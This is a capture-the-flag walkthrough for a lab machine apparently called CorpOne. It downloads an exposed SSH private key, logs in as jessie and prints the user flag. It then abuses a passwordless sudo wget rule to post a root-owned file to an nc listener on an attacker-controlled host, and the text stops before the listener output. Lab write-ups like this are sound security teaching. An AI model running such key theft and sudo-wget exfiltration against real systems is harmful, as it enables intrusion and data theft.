  • Let's check the /index.html page.

  • We can view the page source using CTRL+U.

  • Let's scan all the directories using gobuster.

  • We can now visit /sitemap/.ssh using our browser.

  • Let's download the id_rsa file using wget.

$ wget http://10.10.137.42/sitemap/.ssh/id_rsa

  • Let's change the permissions on the id_rsa file.

$ sudo chmod 700 id_rsa
  • Now we can login as jessie.

$ ssh -i id_rsa jessie@10.10.137.42

jessie@CorpOne:~$ 
  • Let's read the user flag.

jessie@CorpOne:~$ cat /home/jessie/Documents/user_flag.txt
057c67131c3d5e42dd5cd3075b198ff6

Answer

057c67131c3d5e42dd5cd3075b198ff6

Root flag

  • Let's check the sudo permissions jessie has.

jessie@CorpOne:~$ sudo -l
Matching Defaults entries for jessie on CorpOne:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jessie may run the following commands on CorpOne:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/wget
  • So we can post a file to our machine as jessie without using a password.

  • Let's find the file the we need to post.

  • Let's start a listener using nc.

$ nc -nlvp 9999            
listening on [any] 9999 ...
  • Let's send the file now.

jessie@CorpOne:~$ sudo /usr/bin/wget --post-file=/root/root_flag.txt http://10.17.48.138:9999
--2023-12-07 08:58:16--  http://10.17.48.138:9999/
Connecting to 10.17.48.138:9999... connected.
HTTP request sent, awaiting response... 
  • We can go back to check the listener.

$ nc -nlvp 9999       
listening on [any] 9999 ...
